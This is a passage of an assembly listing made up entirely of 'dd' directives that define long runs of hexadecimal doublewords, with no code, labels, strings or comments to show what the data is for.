80714A25h, 0CDA40147h dd 0F5F60CD9h, 49A0246Bh, 6DC19202h, 66AA505Dh, 81FB02E8h dd 7E840E36h, 8810DC19h, 72059F92h, 6DEDF5C1h, 45F088h dd 0CAC35308h, 1AEBDE55h, 0CE29402h, 90AE5C91h, 881F530h dd 62540E38h, 640D364h, 92CE9F93h, 0F2E8D3Eh, 9D5DB9C8h dd 50C22144h, 64A978D2h, 0FBDE00FCh, 25DACA6Ch, 8D01439Dh dd 62B50B55h, 0E8C39F1Eh, 199C32Fh, 83FBEB80h, 0F7F4BBC6h dd 0C71607C0h, 0F25C8C0Eh, 7784C0F5h, 0B238FCBAh, 0C21F004Ch dd 0B09DDF75h, 0D700E06Dh, 0F18CF0B1h, 1332D0h, 2C742994h dd 0BA82B09Ch, 8FAF490Ah, 427120F2h, 5C6930FEh, 613866E9h dd 31E1C9Ch, 0B52A3866h, 0BA9C0080h, 71BD8DDFh, 200011A5h dd 375BB887h, 0E4587216h, 57BA0379h, 0EA42AFCCh, 0FAFAD8D9h dd 3A04B4CCh, 5E77F408h, 1E200B62h, 210832h, 0E2532A43h dd 275D0F1Ah, 6949B507h, 5041B09Eh, 9C40438Ch, 60E48A1Fh dd 0CFA3E0EBh, 18C25E18h, 0C2FA3F7Ch, 0BA7015A8h, 69855FA1h dd 0EFC1D78Bh, 242984A1h, 5D4F9E08h, 177A60Bh, 0F84C8C9Ch dd 9CD1E844h, 498045EEh, 57C3B56Ah, 520E8C8Fh, 0BD6D5644h dd 4CB0CA00h, 7B06E6CEh, 0E03909Eh, 3F16D723h, 0CDDFFA67h dd 50B4DDC0h, 0E2293088h, 7EF9748h, 8112F01Fh, 582EF8AAh dd 0DBB4215Eh, 3A4BD082h, 0ECA6320h, 0E351CBB9h, 3E7C1F90h dd 11EA0E0Dh, 4FA92040h, 0F171C19Eh, 4076B912h, 3D8547B8h dd 0E97B7300h, 1E833354h, 0CA7E0B97h, 4E003A43h, 0F0E4949Eh dd 0E6D71B15h, 60EFEC04h, 5777118Bh, 2100A6D5h, 0E86B527Dh dd 39CD27Ah, 4F13879Dh, 0BA807E1Eh, 0C07BDA9Bh, 52007B7Ch dd 0C67DF6B3h, 5095B616h, 0CE34CB8h, 0A5849DCEh, 3424A50h dd 1F764F0Eh, 0D704B4A0h, 0A7074445h, 0FA535590h, 7AF69FE0h dd 5EE23Bh, 0F13A1BD3h, 22470CCBh, 0E7CEE018h, 0F974AF60h dd 439C188h, 63DB0503h, 10590027h, 6FDFF8E9h, 3A480A6Dh dd 0D4B015CEh, 78081070h, 0AD8EC300h, 809A01F4h, 62B1643Eh dd 0EC459E8h, 0C7A4BC24h, 5E4800BFh, 0B53076F5h, 7439E99Bh dd 4CCF5693h, 0B7692Eh, 45371D0h, 0F25468F4h, 0C2142BB4h dd 8194E963h, 0F34FF8E0h, 34CFA980h, 534CB7ECh, 0E9489C14h dd 447AFF4h, 1EB001ABh, 0B763B52Ah, 6E0440D6h, 0E4C75157h dd 48635D8h, 2013F25Fh, 9C0480ADh, 92E8B2Fh, 3D0CAEC5h dd 447928C7h, 0A8447390h, 648C444Bh, 11F23245h, 0A0E70881h dd 883AF828h, 39888D41h, 0AD438832h, 0CCC50A01h, 26235779h dd 89D830h, 4A9DCF83h, 7452D03Fh, 1302D07h, 3BF784B5h dd 0B8EACD03h, 0FA7A03h, 0F562CAC5h, 7DC8329Ah, 727BBE01h dd 0A9BB2548h, 0B7F01BC9h, 17433AE4h, 45913C80h, 76465685h dd 0C6401E1Fh, 2BF91040h, 8BF1A7h, 0EC72FB61h, 231F998Ch dd 2274400h, 0D35D2FAh, 3BB500DAh, 0EC1E3980h, 9300C163h dd 7CA8D6Eh, 0EC51F6FDh, 0C254241Ch, 1F293C8h, 44D16B0Ah dd 2091E185h, 2C1D0593h, 7E401230h, 84A6E2C7h, 0A9670007h dd 9B0C6F60h, 2B009F6Bh, 68830189h, 4CC6211h, 0B2803A27h dd 86B491DCh, 0A5D88053h, 2CBB0AC8h, 9DAC00D2h, 1A5AB7B3h dd 0A67B8B42h, 4FA82B01h, 0B6AD4EF2h, 3E703BE9h, 37E454h dd 6E593582h, 33A8DF09h, 131FB300h, 0DE9A7129h, 4AD600F3h dd 0D459609Ch, 0B4000C5Ch, 51412B39h, 0E2500A42h, 867C01BDh dd 0DA6A3801h, 33730D2h, 0A725E900h, 0AD178216h, 67B70099h dd 18E40752h, 9300E07Bh, 71AA3809h, 39EBC9h, 0FEFFD2F9h dd 42166C91h, 807E2B3Ch, 0C99BF563h, 0E804F08h, 11143A25h dd 0C6B7D360h, 56016610h, 0FDCCD9F8h, 8C40C384h, 115DB6Bh dd 9EBD6AC1h, 0D8DD3CEDh, 0F2075229h, 0FF66A19Ah, 36E80BC0h dd 0A6300001h, 0D5BE6E4Fh, 0DD027E5Fh, 3D6BE692h, 2AD18047h dd 5439CEh, 4A24C775h, 5DA60DB2h, 5766D202h, 60BC2005h dd 1DDACCh, 799C5FF5h, 74F2085Eh, 0B7FC1700h, 0D7E114C8h dd 952C3E5Ch, 62032F87h, 290F0CBh, 0D3017F66h, 0AE6972A9h dd 0E4CD5B5Ch, 2663DCh, 0FBB4B717h, 0F458D387h, 0DD0036E0h dd 0B20B5EB9h, 0C02ED6h, 9D796FEEh, 1F5D5B86h, 50D8C404h dd 1200F11Bh, 0BDC135A7h, 42DAF24h, 0C649400h, 1C166F39h dd 82E157FAh, 8B0EDBB0h, 0B86DE0FFh, 66B00C8h, 0DD4A232h dd 5500339Ah, 87EBFFD0h, 3A7A19C1h, 9D83683Ah, 8830461Bh dd 32163EE8h, 0E7A0F500h, 0AD6EFB9Ah, 0CEDA0052h, 40AE5A0Eh dd 563829B3h, 0EEAB80D5h, 0DBC94A4h, 0E0DC0522h, 814F8068h dd 0FB672323h, 11078CD8h, 61484B01h, 6D3119C9h, 0D07BE0h dd 871829BDh, 52D5CF9h, 0F7A7CA0Eh, 0B2024E99h, 0B871E300h dd 0F0319C7h, 0D9CCBB83h, 2E008834h, 0BD434696h, 0D81CB8EAh dd 5B00551Eh, 859371Ah, 234F0039h, 3FE42AD5h, 0F000E3B6h dd 801207ECh, 1E01C8BAh, 4016DE8Ch, 9E904769h, 8FFCA8A3h dd 0BA3BF200h, 1B709387h, 6F681FEBh, 0B1834E1Eh, 7EF0A4CCh dd 3C5B6C00h, 6BE10384h, 0BE1E0014h, 16FBD122h, 0EF0035ABh dd 60B4D45Ah, 6798C8h, 0C4A81A5Fh, 193BEE12h, 41439E00h dd 306B3D9Fh, 0FC225C4Ah, 0BEB5D200h, 0C55C5E81h, 0C902FB01h dd 0E5ADE97Eh, 34846E0h, 9003F779h, 0CCA0C152h, 0CE0004B7h dd 0AA1C61C4h, 31A60BC8h, 6A21E23Dh, 0EFB0CCF2h, 0BBE05000h dd 1E408D26h, 0FB37B8Fh, 2DE71C4Ch, 9A774E81h, 0A9A8F083h dd 3BE0EA00h, 29F6268Bh, 0D1A00093h, 0CD38BBBEh, 5EEAA3ADh dd 71C4DB00h, 325CB2Fh, 0AB8F00EBh, 289279FBh, 9B00D6F5h dd 4840D201h, 72063F7h, 0A9B8BD42h, 0A85800F1h, 0EB003C4Dh dd 6766AE7Bh, 3A761D4Ah, 9DA64F9Bh, 14DE0088h, 5CACF953h dd 8F4E091Ch, 8549CF00h, 0FF22C3h, 48F3BFE9h, 0A0B0D3BBh dd 5C0320ECh, 0AC31DC70h, 0CE8DD83Fh, 0D91002CDh, 94EE8257h dd 9D8F0AAh, 0CC2016C9h, 0B1C1CF9Ch, 0FE0E34E0h, 209487D0h dd 668E0CEBh, 790F0F3Eh, 318085DEh, 89BEA7E3h, 15073Ah dd 0B402CAA6h, 42C0435h, 9B61DE7Ch, 0D6B98020h, 5BF2B83Ah dd 0EC2A4B00h, 0B11CE68Eh, 48027A47h, 0E81FE8FAh, 90FE4080h dd 0FC855566h, 65113B1Fh, 0A63DCB04h, 0FD8488h, 0E1E7DD0h dd 217F09BEh, 0EC592616h, 0C52EAD01h, 0B6E4803Dh, 0E3DC00CAh dd 0F72FA9B4h, 0FC031517h, 4D2454CDh, 8801E0A5h, 4F0403BFh dd 17FEA4D2h, 8BF96C90h, 0E0D8D700h, 2C9CE50Fh, 25BB00C6h dd 0A3F28C7Ch, 887D6D33h, 28A3100h, 75CAAB3Dh, 0E4830721h dd 602D8625h, 0B370F891h, 203EBD1Fh, 6DDBD541h, 460607Fh dd 0C7590054h, 1B7E3474h, 41E0CCBh, 0A6C01D0Bh, 3DC8E52h dd 0B69800A0h, 825B562Bh, 65DE9BFh, 15E50080h, 0FF6FCEF9h dd 9A87D91h, 0A7A920ABh, 0DCCB7480h, 693F1068h, 98930025h dd 0E437C84Bh, 7DD40729h, 26D3BDBBh, 0AD032068h, 3D6578BEh dd 4810006Fh, 898F2F49h dd 380D117Fh, 78D17D9Ah, 505D58E4h, 396D44Fh, 1E86D28Bh dd 4CE94E71h, 0C641806Dh, 3639F669h, 5FAB057Ah, 0C0F5427Ch dd 5E8A2434h, 9F440200h, 0C0A1D012h, 903F00DEh, 99E28432h dd 700B80Ch, 8C208E0Ah, 0AB5D1Bh, 0F9B6A50h, 8F85597Dh dd 0BB2ED400h, 729F5784h, 0A3D600CCh, 2FB89352h, 0C1B5EBBEh dd 6CF0AD4Ch, 0CDE60077h, 14C3D5D4h, 4A00E316h, 1C302191h dd 677C11h, 0A63893F1h, 7E64BBD4h, 5FC3F801h, 3BF77A4Fh dd 0CB2C60h, 605E1A09h, 0BAE6C285h, 0AC077E00h, 6C5F0F95h dd 0B663281Bh, 8AF0A2h, 9F11CCC9h, 86EF1358h, 87FCF807h dd 8A0E14Ah, 58F462Dh, 686BBC48h, 9DA0C007h, 0D9021705h dd 30AB617Bh, 0C1946011h, 0F6161673h, 0AD1000CDh, 751301AAh dd 5F812400h, 2FF8800Bh, 0D7090098h, 87F02D71h, 0DA14EA40h dd 3FEE175Dh, 0D9BC0974h, 0E5BCA3A7h, 0DE94F8F3h, 76EB00A2h dd 1CE4B279h, 15003D48h, 20B126FDh, 9D7A3Eh, 0CF6F040Eh dd 3F1EED1Fh, 9A94D800h, 9220141Ch, 4B4E01F3h, 0EE370B7Fh dd 347D3091h, 0ED7BF600h, 0A126F1DEh, 66D90008h, 0FD4DB71Ch dd 0A600BD32h, 0F0E59864h, 0EA353A0Bh, 3E9C030Ah, 8DEC588Fh dd 0F4D272E1h, 0DE7C86C1h, 974C2500h, 0AFC550BCh, 0F5F60Fh dd 0B1FD1E3Fh, 0C0248B46h, 7F331239h, 607E582Eh, 0CA6B4400h dd 0FBBA7C8h, 674E9248h, 9158AE00h, 4402C164h, 0CB0817A4h dd 97D8E0EBh, 0B3A10051h, 0F7DAFED5h, 7E00D189h, 0E97A8082h dd 3A6F157h, 282DEA87h, 0D3B81E67h, 8E00A72Ch, 0F5E465DBh dd 0E2D76CBDh, 0D62F3E0Dh, 14913A00h, 1E4DD399h, 82C72913h dd 0C6DFD701h, 13CDA45Bh, 3B109C28h, 0D34D842Bh, 5F21F03h dd 509308B0h, 4C4C4A70h, 0DC903D04h, 8C5A137Ch, 0D5C07C80h dd 0E7C63047h, 0A4B94E28h, 80E06B4Ch, 0E6B01D17h, 84365887h dd 0BEDD900h, 995074D2h, 654CCAA1h, 0C0DDC0CCh, 6080F003h dd 0AB7BCC49h, 3D1001C2h, 0F231715Eh, 0F119D47Ah, 0C7409E00h dd 0A4E1B986h, 7C1C09D1h, 88EF82Fh, 4B7F0220h, 1500310Ah dd 218C253Bh, 959B4Fh, 0F432226Ch, 0FAC49F0h, 0F2946B17h dd 0CE14BA00h, 0FD60E5Eh, 4CB850D0h, 6FE3F000h, 0E2000BE5h dd 6D8B1767h, 0DD37EDh, 54620F5h, 0AF73A5ECh, 0AA852A00h dd 0F99B4A86h, 5F4000FDh, 274E21A9h, 2C17EECCh, 3400DBA3h dd 0D51DBCB4h, 846A07FDh, 0F06ED315h, 0D9E44A95h, 5FD49300h dd 6C1ADAAEh, 0D8FD483Ah, 85F2C800h, 3398500Ch, 0D638A700h dd 2EC15DE2h, 0AA08005Ch, 5FB03778h, 0A3F049DFh, 1136420Eh dd 0AF1E20E2h, 1F8694F8h, 0DDE833h, 6A493F91h, 7700C963h dd 0F0939978h, 53C02Bh, 0EC50BF74h, 0DBA5AFE9h, 0CAD7F503h dd 0C979928Ah, 0FB60519Fh, 344F00D3h, 77EF2160h, 0AA00393Eh dd 3A2C9EC6h, 5F192h, 2D7A11B0h, 2882745Bh, 9EF61800h dd 80525875h, 7E7B053Ch, 0C33EFD94h, 38A8ED12h, 0D400A10Bh dd 7C0C24B8h, 46E0F4h, 0C9677107h, 0CBCF2991h, 864E9500h dd 9B600ADFh, 8D62054Ch, 0C0513744h, 159FE3A5h, 8099D03Eh dd 0D519D460h, 0D3E861h, 7CA16DAAh, 41F308E0h, 660C6300h dd 0C8B08099h, 0B3F81FCAh, 0C0DCDD10h, 845F6893h, 5000AEDh dd 0BBA9E8B1h, 25EFADEEh, 7080A01Dh, 8ED211DBh, 528D700h dd 94E52707h, 5C41003Ch, 96DC2119h, 0FA70EC70h, 0DF724200h dd 501C1BFDh, 6FD400ADh, 0D314EBBAh, 2B07DDBCh, 0C277DFF0h dd 9AE0DAC0h, 423738E7h, 2DBCD680h, 8B1D8F7Ch, 55E10F00h dd 0A179E038h, 6115094Dh, 0BC020886h, 0FDC0F2B5h, 0B1003FD6h dd 0A3F4145Bh, 4F57D89Eh, 51580907h, 37C3F410h, 0AD2AA400h dd 44BEAB38h, 50CB005Fh, 0EDA74A0h, 4503B03Ah, 0EC2825F6h dd 0E0F0ABAEh, 241254h, 0FCEBF702h, 3449D50Bh, 0A75E8001h dd 48CF04E6h, 6092EE20h, 51F0703Fh, 34921873h, 0EF94D400h dd 2CDC7E17h, 523C1E27h, 0E95449F9h, 0E1127880h, 0A602998Ch dd 0C491AF8Bh, 0DB36C0E8h, 0C9390287h, 0AE1490FFh, 405E4602h dd 603F75h, 4CF59422h, 8DBFCFD7h, 0F0036478h, 4193FE38h dd 8C339059h, 0E1655CD4h, 0A1847C00h, 0B64881ABh, 4911C500h dd 2D579AEFh, 186D003Dh, 0A669B1C1h, 0BC0F7656h, 41E7101Eh dd 533F3916h, 0D0A0A4F1h, 257AC0h, 0B2CC3240h, 0F0F37C1Eh dd 22185807h, 3D077EE5h, 791145A0h, 680E0A3Fh, 8C0514h dd 12C4C7A9h, 3E7ECE87h, 1D655900h, 6BDA7E3Dh, 6322C86h dd 739C30C4h, 0C300EE61h, 5C366C75h, 2E62F47h, 0AF62FF20h dd 88401F29h, 0B4B0BE01h, 7E107500h, 4A02AABh, 2BA400B8h dd 0A6E3DDD5h, 827355EBh, 0C3912D00h, 0FB399587h, 3A1F07BAh dd 2B6AC959h, 0B39AE683h, 0AF7D87E0h, 0BD6B6600h, 3D5EA4B7h dd 56350014h, 6EA6FE05h, 0A1FF773h, 39D884Dh, 35B75280h dd 92EB6BE3h, 9DE90138h, 0F4CFC927h, 11042072h, 237B4800h dd 697A774Dh, 8EE500B4h, 0CC2BF747h, 7960A7DFh, 0DBFDC898h dd 0E034B0Eh, 46196B0h, 3D61D289h, 8126009Ch, 95AF2ED0h dd 0BC7B161Ah, 0F8B501FEh, 0C1F19427h, 2A6B2055h, 0E30AE67h dd 0D5E0E630h, 0FA3E0064h, 6CDB15DAh, 794C7774h, 0A875001Bh dd 366987F5h, 0F13F494h, 72DCECB2h, 0AB498420h, 85003993h dd 19BDA6BEh, 767B1F6Bh, 0B5C5004Ch, 931377B6h, 0F5002789h dd 0F8FEF7AAh, 7352D0AFh, 2E88909Ch, 87C482E3h, 20662B44h dd 2E08D2A5h, 6F41881Fh, 482E851Eh, 0E1714C00h, 0E03467h dd 0CE13F593h, 0D9EC1941h, 3966DD1Eh, 12BC77C0h, 1B0944Dh dd 0CCCFA8EFh, 6F8067EDh, 0E7A2C900h, 0BA1DF4h, 0D3A1E604h dd 0F0BCC361h, 0A77FAE78h, 0C6521600h, 95556777h, 7B0E9090h dd 0D4EF00F2h, 305E3BE3h, 1A000DE7h, 0F5FA5256h, 7B727D24h dd 9D76034Ch, 13DEF483h, 270F1D90h, 4A04080Fh, 0CC9440A7h dd 0E8E6B5Dh, 2F1A2811h, 0FA7F8AC3h, 0D9CF1490h, 6FAF3600h dd 0A9E917F4h, 3BD80234h, 74CC5E78h, 6944F9C0h, 324B1600h dd 0FB23DA47h, 53F60767h, 0C12F8D21h, 0DC731B1Ch, 5201D97Bh dd 9C36FBCEh, 0C8717085h, 36DA2F0h, 15B784D5h, 13F13182h dd 857EC08Bh, 0AE6358h, 9DBE865Eh, 711F5E5h, 0ED934238h dd 0B8DFE13Dh, 2365602Dh, 0B27A122Ch, 7D15C300h, 190FBAh dd 0A093D0EDh, 116A17CDh, 0EA6E8D00h, 43F8A64Ah, 772B07CAh dd 0EEA1A39Dh, 9CBB7360h, 0F1008D0Dh, 83A953BFh, 19D040h dd 9BBD8C0Ah, 151C3ABEh, 730BE690h, 88D291h, 10C3EDB6h dd 676A0094h, 9E112095h, 0D1149222h, 0E105288h, 98676BFAh dd 0E643E98h, 4C305934h, 4AE8E581h, 0C4C1F318h, 3680FF31h dd 6800FD1Fh, 0EF88D3F7h, 0AF9371h, 9FAC2467h, 0F1D8EE07h dd 441958C0h, 5EAA65h, 7B0E703Bh, 63130740h, 78297F00h dd 0DD0BDFF9h, 713F3B5Ch, 77104881h, 0D96AD9F7h, 0C3908512h dd 281839EFh, 0C08B7C71h, 1E855FE8h, 10A0D7EEh, 1100FE74h dd 0B063790h, 589EF3h, 0D42176Bh, 149C9F94h, 0CA23A707h dd 0D26025B3h, 1435B0B6h, 0AC0D2A24h, 6413E200h, 0B75D0A1h dd 0EA83B3Eh, 20EB6F72h, 979B04EDh, 4BD90041h, 187DECD4h dd 3200390Ah, 0EE6C3B81h, 0C05898F4h, 0B8421DB4h, 2003DE19h dd 3C298715h, 0E1DB92CCh, 0B080C20Dh, 1F6175A3h, 0E70E2021h dd 2A05CFF2h, 0BEBBCC0Eh, 0B8B400F0h, 7553C4DCh, 0A53300E8h dd 8FA35983h, 0BC02B3F9h dd 12EDD630h, 7D98A10Eh, 61B80193h, 0E07C2514h, 0D217797Ch dd 0C03F1D59h, 125161F0h, 0FF1D446Bh, 0E1000D9Bh, 2921C722h dd 7E3B005Fh, 0E2EBF4C4h, 2303A69Fh, 4F30FEAFh, 41A8A003h dd 0DE841D15h, 58FB8335h, 0F4F02C8Eh, 1034AB5h, 5F6BD1FEh dd 9ECD902Ah, 9D3504EBh, 0BE8F6003h, 0CE92D780h, 91AC3FA8h dd 72D8868Ch, 7028EB20h, 0F400F0AEh, 37D90C7Eh, 0B55D88h dd 0C36444B9h, 4951539Fh, 470B77Ah, 9005879h, 3623F29Ah dd 63E8DA8h, 5F154E55h, 4E008E5h, 0AEE120C0h, 3AEBD4A9h dd 0EA005D44h, 3ED81805h, 697503A6h, 0EFF31E1Ch, 0F1DE8B9Dh dd 27FA0981h, 0E3DC4261h, 0E7081923h, 8B1F08D4h, 87E15A21h dd 51005E22h, 0F91364h, 1E678269h, 0EFF555A2h, 99CF0303h dd 78083827h, 0E1E93E88h, 6B14780h, 2E8A0484h, 0ED607574h dd 0F519C821h, 30530056h, 9D86CE0Dh, 70F6BE39h, 0F103B730h dd 3C73E1A9h, 0AB8AB533h, 0CF6182h, 9AD26A8Dh, 0B007A21Fh dd 2F79BADBh, 3E91F3C3h, 3B001CF6h, 4B61453h, 0B100E5D5h dd 58B77178h, 7067341h, 3749A8F3h, 6167C026h, 0BC00CBA1h dd 40919F53h, 146B340Dh, 0B85AF6A3h, 5F7747Bh, 28CC064h dd 9129C076h, 3F074A8Ah, 22952F27h, 0FBB83150h, 0C18C00FEh dd 0EF53EA81h, 49060329h, 69341775h, 0B6100341h, 0BF643367h dd 0AB455EB8h, 0E046EE00h, 134AD1F6h, 8128DCC4h, 5D172832h dd 0DBFBDC7Eh, 3C1F451Ch, 1120A418h, 87F70140h, 0FB04BE63h dd 47608366h, 0C8B9E2E0h, 303ECE3h, 0FAEBFD9Ah, 40E1C297h dd 0A0B9F6h, 127D7A04h, 3D1081Ch, 0EC852E3Ah, 7D9D922h dd 1800E3E6h, 0D3F83476h, 253509h, 8772563Dh, 0CC19AF40h dd 589DF030h, 1818CFD4h, 109548B4h, 3839573Ch, 819F83F7h dd 80791DC9h, 3F4B4410h, 89817041h, 0F9BE837Fh, 8CA0FA75h dd 9C1F9E2Ch, 3903F0E1h, 0C3197160h, 2E2346A7h, 1862D690h dd 0F739406Bh, 0B8A2100h, 508F41EEh, 0CE238D1h, 2F521380h dd 0F13D6818h, 8805C201h, 1DF70925h, 773EBF4h, 0D04B1A32h dd 0D4479085h, 2900B436h, 0C2B251B3h, 7A7025B7h, 50890066h dd 59A047A3h, 0BA033082h, 0F6D1ED22h, 8B73A88Ah, 9EB00029h dd 89B72EE7h, 0C6F4144Ah, 0B9E18800h, 0BF222521h, 0FF230963h dd 54003881h, 351A9E47h, 41567716h, 0C142DD00h, 7C4588E9h dd 0BDB100FCh, 2E6C36CCh, 41C61C0h, 0ED405658h, 18232214h dd 0E71D005Eh, 61AD7478h, 0A00059FEh, 71B4B905h, 0C86D50h dd 475299DFh, 1FBF0D32h, 0BD772F00h, 0ED407574h, 4DC23C46h dd 2CDCC987h, 0B33470F6h, 89743224h, 52E3C100h, 78284A07h dd 0A603008Ch, 0AF8877A2h, 2B000B05h, 90312485h, 404194h dd 26B5895Eh, 0A90ABFE2h, 96831900h, 2982B20Bh, 0B48F51C2h dd 0ED512984h, 7B9002E1h, 208E0484h, 804124B6h, 3B89EE8Dh dd 812A22D6h, 28871B23h, 22144951h, 66507F2Dh, 9B626428h dd 22EF0529h, 0E2228110h, 9AB2223Dh, 0DFC7E121h, 12E39201h dd 7281107Eh, 5A089D89h, 441A7D44h, 0B244083Ch, 5D1C88D9h dd 2F00C590h, 0D7B4B14Eh, 0FD2ABACh, 29928B65h, 0BD227C80h dd 9F014CDAh, 0FBB0EEE3h, 0EDF9A061h, 0C43598F7h, 0F01B001Ah dd 37AA79F9h, 0D90B1713h, 81BD86h, 0B1E6D536h, 8C1F0094h dd 0DBE4EDC8h, 0EC07BFB0h, 4AB87593h, 7A42B2A0h, 0E52D000Fh dd 727D484h, 3E0059EBh, 7565E84Fh, 0D2190h, 91B04402h dd 0BB6C98C9h, 7E715B00h, 0DEDAE7F4h, 6305E6FBh, 60FD107Dh dd 7058C4C0h, 639E1509h, 95C02028h, 66010Fh, 3FC50749h dd 225C41B3h, 0E2785800h, 0B7D27ED5h, 3C435871h, 0D49C2900h dd 0C8E64F9Ah, 0F6C59000h, 0BAFC69E9h, 0B17000C6h, 6811FB10h dd 0D600FAB9h, 3FB43586h, 0C7EE14h, 4C8A7B6Fh, 0E98DBFECh dd 0F5217200h, 0B1D869Dh, 1B7C0Ah, 5C3BE8BAh, 26A1AB3Ah dd 53480400h, 0F245D2E6h, 5AA500A6h, 0F559D057h, 64007107h dd 0A80CFFDh, 185C54E6h, 18CE1C7Dh, 301076Eh, 940F49B9h dd 0D5FC046Ch, 79370032h, 0F293FCE0h, 0CC1E677Dh, 6080F0C3h dd 9ECB01CDh, 0C72B005Fh, 0A6338B2Ah, 73EE2F3Dh, 1528E300h dd 700BAA80h, 547236h, 0D1E1684Fh, 0CB98E61h, 7F199E00h dd 85FB6ECAh, 579F006Dh, 49CF5AF1h, 160F2572h, 23192A5Eh dd 0A8683C76h, 1CE5D84Fh, 0C031B7A9h, 8BEC0DD5h, 0C8009A0Ah dd 1DE14D6Ah, 0F4C239EAh, 0F2300036h, 0E4F95FAAh, 1B5894E3h dd 3E3F1F9Dh, 0E0A1B78Fh, 2DCE2C5h, 995D165Fh, 7ADD1E3Ch dd 80EE2A87h, 8B38302Dh, 0AD00CF08h, 87773A32h, 0EDCF2E6h dd 70E34E35h, 0A04AD447h, 652A4D5Ah, 23BA1600h, 38CB418Fh dd 0E9B3007Ch, 0F23CD179h, 0E03C9C15h, 26E0066h, 9ED7267Eh dd 64EA1F0Ah, 89A98016h, 0C956277Dh, 153C0709h, 8F0400D5h dd 0E2BEE2FDh, 50910126h, 83F86DB9h, 0D01AF86Bh, 14DC8000h dd 0EAE18530h, 3650034h, 18F0AB25h, 47002787h, 83DF1F7Ah dd 0CCAC5Dh, 6FEE917Fh, 4ACB6574h, 28BD6D02h, 401B96E2h dd 0DEB403h, 60FA2902h, 2B82F4D1h, 9FE82A01h, 0A5B9C672h dd 6AD7F0h, 1219536Eh, 0DB37628Ch, 0D91DF072h, 0BD805E49h dd 7722658Ah, 8B848C7h, 0F81DC000h, 0AE99A481h, 57ED8C00h dd 44FB1A60h, 0A5510026h, 0C25633B7h, 7A00D476h, 0E9927705h dd 1E7F2h, 356FBD1Ah, 9E520291h, 0C1D0511Ch, 428108E0h dd 0D050AA99h, 6F6C04A7h, 7AF863h, 0E8AABD88h, 0D82500AEh dd 4010815Eh, 0EA003EDAh, 1B174421h, 0E204F650h, 2ED43EE7h dd 68AB12h, 9C4C3737h, 450F1681h, 67CF70F7h, 97401178h dd 146F530h, 506C1D71h, 2A606942h, 8AB2FE80h, 0E87400B9h dd 0D59A662Eh, 8000FE11h, 0D1AEDCA8h, 7347EFCh, 0F80A1935h dd 0F163302Eh, 7D00E394h, 49E41387h, 489BD8h, 0DA84ACD1h dd 0B947C51Eh, 997D2307h, 0F2606E73h, 90FB27h, 11325D04h dd 6150F12Dh, 24028774h, 92B6284Dh, 8CC480DAh, 0FE9960h dd 17E9FC1Eh, 3613EB59h, 375AD600h, 86CA2070h, 0D2050012h dd 4878175Eh, 0A600E4DBh, 523E4DB8h, 1D6A9E3h, 0BCD276C3h dd 35C0DF9h, 0A8C0C89Dh, 48020192h, 88015FE3h, 0FBB82040h dd 0F81E8400h, 67C03CB6h, 973B1656h, 4F3C01ADh, 2078B97Dh dd 5C00EF49h, 0B6EA3D05h, 38DA1DCEh, 0C609894h, 7E7F5A7Dh dd 9DEEF200h, 92698750h, 2D6E000Ah, 0D9F73DC0h, 0AE0F45BDh dd 40C4D42Fh, 1EE148E7h, 413B031Dh, 0BCB36F69h, 6A4613B8h dd 0E6030D7Eh, 63FC426Dh, 0FB709FD2h, 57219FEh, 4A929EE3h dd 53A580A5h, 0F9E46BDDh, 7DF0B707h, 0F291D211h, 7E607718h dd 98ED00A4h, 64A8887Fh, 6F003C05h, 0DD756D1Ch, 0C2EF4Eh dd 89C91EA2h, 0AC2C1B4Fh, 8A0F2F00h, 45067DCh, 93651349h dd 0CA3C1898h, 2001259h, 0F4C5161Eh, 0EE216081h, 37C30125h dd 68491A8Fh, 13318050h, 539246E6h, 0F0B8C007h, 82DA7D24h dd 785C5509h, 0C54CA080h, 1F843733h, 43D7E619h, 91CFAA87h dd 41DD24E9h, 0C00A4DBBh, 0D0704138h, 5AFE4400h, 0EC3BE7FDh dd 111FE83h, 0CFD7FA7Ah, 0DE50950Ch, 0BE32E960h, 0C3CE3A00h dd 2576F051h, 9045FE3Bh, 0FF6A00F3h, 0E59BD637h, 0C03DD71h dd 53C66938h, 0FF5D008h, 298000ECh, 309341F6h, 700F1849h dd 0C05EF7CBh, 0F1101EA1h, 0A82A03E6h, 4F563F2Dh, 0C77636B0h dd 0E4541D01h, 7D01CA60h dd 7E3203D7h, 46C05BF8h, 20766BB8h, 268038h, 92AF9181h dd 0C11B44Fh, 4601FD7Eh, 52075F2Ch, 1B6F8C88h, 0ABEBD680h dd 0AC3200BDh, 9D197780h, 2100C524h, 0EA4C38B4h, 73A0D53Ch dd 0E748075Ah, 206FAE0Bh, 0D70F25ADh, 98B4EE00h, 0DC5C6DD8h dd 111A039Bh, 77EB2276h, 37A14788h, 4270321Ch, 20E180BFh dd 61ECB98h, 3AB10075h, 2C381DFDh, 311E5081h, 0E040ECE2h dd 3937220h, 4A58009Ch, 3708FBEAh, 0FE0168D7h, 0BD9E6DB8h dd 0F3F8E3E9h, 247304E0h, 0C00470C4h, 0EFA1F19Dh, 0D1BE1B1Ch dd 783753C0h, 37D15AFh, 59F66FCh, 93A9BF38h, 0F899DC07h dd 0EB72F600h, 0D9A48E1Bh, 0BCC50082h, 0D2280133h, 2700B8CEh dd 46FFAA3Bh, 1799A7Bh, 0D3E323BBh, 0D47120B6h, 4092271Ah dd 2D7F8AF8h, 5DC14D00h, 85317540h, 77FEF48Bh, 0FFC600D7h dd 66AE8632h, 0B0E394Ch, 40F61AF0h, 0B2608F46h, 0FDCB005Bh dd 98E1EE56h, 0B60397D3h, 94B916CFh, 665DF85Fh, 634D0927h dd 9C50DF6Ch, 246A5E0Ah, 4C00A04Bh, 32037FDEh, 14230B74h dd 28892938h, 0CBF87680h, 8D001A5Dh, 3CAAFFCh, 1C1532Dh dd 0D1A48492h, 0D3C6D222h, 9E7ACEC8h, 0ECF8E305h, 0A000EA56h dd 0BFE09B1Dh, 18F90093h, 7DFEE1F4h, 9C042D22h, 3DCD0C3Ah dd 0F6E67CC1h, 1EF44BC0h, 0E48DB830h, 0A5400020h, 0C7D45328h dd 0DD0E7E1Eh, 0FBB63080h, 96F40Ah, 5B6A5748h, 0BD3FA8A4h dd 0AE247F03h, 775546EFh, 0FE9E00D8h, 6FC856C0h, 6612C17Eh dd 502D4F63h, 5C006AC9h, 0A7057D45h, 0A09A29D3h, 0E2D26680h dd 0BDF30E46h, 0E0EE5A54h, 4F55BFE0h, 0A03C3C4h, 0A0ADB87Fh dd 9834A8E7h, 64660006h, 2ED8C630h, 500036C7h, 8B3FA27Dh dd 0F11CB4h, 306333C4h, 9EA1CB95h, 6BD01D2Ch, 0D537AE09h dd 64880300h, 0E0013AC4h, 3DEDEBD9h, 